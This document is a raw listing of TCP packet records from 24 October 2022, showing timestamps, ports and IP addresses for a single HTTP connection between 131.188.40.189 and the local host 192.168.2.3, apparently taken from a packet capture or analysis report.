Oct 24, 2022 11:00:50.393212080 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.393241882 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.393250942 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.393270969 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.393301010 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.393309116 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.405949116 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.405994892 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.406023979 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.406030893 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.406053066 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.406069040 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.406081915 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.406111956 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.406124115 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.406147957 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.406176090 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.406184912 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.406213999 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.406243086 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.406255007 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.406271935 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.406301975 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.406308889 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.413770914 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.413820982 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.413853884 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.413856983 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.413885117 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.413892984 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.413918018 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.413949013 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.413954020 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.413978100 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.414007902 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.414015055 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.414036036 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.414064884 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.414074898 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.414092064 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.414144993 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.414145947 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.414184093 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.414213896 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.414221048 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.414243937 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.414271116 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.414288998 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.414299965 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.414329052 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.414338112 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.414361000 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.414391994 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.414396048 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.414421082 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.414452076 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.414460897 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.414479971 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.414510012 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.414514065 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.414541006 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.414572001 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.414576054 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.414602041 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.414632082 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.414642096 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.414661884 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.414693117 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.414697886 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.414721966 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.414755106 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.414763927 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.414786100 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.414815903 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.414844990 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.414845943 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.414896011 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.414875984 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.414938927 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.414971113 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.414979935 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.415004015 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.415035963 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.415055037 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.415074110 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.415107012 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.415127993 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.415138006 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.415169001 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.415190935 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.415198088 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.415230036 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.415247917 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.415261984 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.415293932 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.415318966 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.415344000 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.415350914 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.415371895 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.415380001 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.415410042 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.415424109 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.415441990 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.415472031 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.415481091 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.415502071 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.415533066 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.415538073 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.415565014 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.415596008 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.415601969 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.415626049 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.415657043 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.415664911 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.415688038 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.415719032 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.415746927 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.415746927 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.415777922 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.415796041 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.415817976 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.415851116 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.415868044 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.415880919 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.415911913 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.415941954 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.415944099 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.415973902 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.415987968 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.416002989 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.416033983 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.416049004 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.416095972 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.416126013 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.416147947 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.416158915 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.416188955 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.416204929 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.416223049 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.416254997 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.416266918 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.416285038 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.416313887 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.416331053 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.416353941 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.416384935 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.416399002 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.416419029 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.416449070 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.416460037 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.416479111 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.416512012 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.416527987 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.416542053 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.416574001 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.416585922 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.416606903 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.416636944 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.416646957 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.416667938 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.416697025 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.416702986 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.416723013 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.416753054 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.416778088 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.416785002 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.416817904 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.416846991 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.416847944 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.416877031 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.416892052 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.416908026 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.416939020 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.416945934 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.416968107 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.416997910 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.417023897 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.417027950 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.417057991 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.417078972 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.417088032 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.417123079 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.417136908 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.417155027 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.417182922 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.417196989 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.417212963 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.417243004 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.417252064 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.417273045 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.417301893 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.417309999 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.417331934 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.417363882 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.417378902 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.417392015 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.417422056 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.417452097 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.417483091 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.417485952 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.417511940 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.417512894 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.417542934 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.417558908 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.417584896 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.417624950 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.417635918 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.417660952 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.417692900 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.417711973 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.417722940 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.417726040 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.417752981 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.417762995 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.417781115 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.417793989 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.417809963 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.417820930 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.417839050 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.417849064 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.417870045 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.417877913 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.417900085 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.417907953 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.417928934 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.417937994 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.417958021 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.417968035 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.417989016 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.418005943 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.418018103 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.418030977 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.418047905 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.418060064 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.418076992 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.418109894 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.418109894 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.418138981 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.418148041 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.418148041 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.418167114 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.418180943 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.418196917 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.418205023 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.418225050 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.418237925 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.418255091 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.418265104 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.418283939 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.418292999 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.418313980 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.418322086 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.418343067 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.418350935 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.418374062 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.418382883 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.418404102 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.418414116 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.418435097 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.418446064 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.418464899 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.418473005 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.418493986 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.418504000 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.418541908 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.440241098 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.440304041 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.440323114 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.440342903 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.440362930 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.440388918 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.440411091 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.440431118 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.440437078 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.440463066 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.440485954 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.440486908 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.440509081 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.440537930 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.440558910 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.440572023 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.440618038 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.461055994 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.461092949 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.461112976 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.461127043 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.461131096 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.461149931 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.461158991 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.461169004 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.461188078 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.461191893 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.461205959 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.461210012 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.461225986 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.461240053 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.461244106 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.461262941 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.461266994 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.461282015 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.461292982 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.461299896 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.461318016 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.461319923 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.461335897 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.461357117 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.461357117 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.461374998 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.461389065 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.461404085 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.461426020 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.461427927 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.461466074 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.461468935 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.461483955 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.461504936 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.461510897 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.461528063 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.461540937 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.461551905 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.461571932 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.461575031 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.461601973 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.461652994 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.712554932 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.712666035 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.720309019 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.720612049 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.740984917 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.741012096 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.741024971 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.741043091 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.741056919 CEST	80	49719	131.188.40.189	192.168.2.3
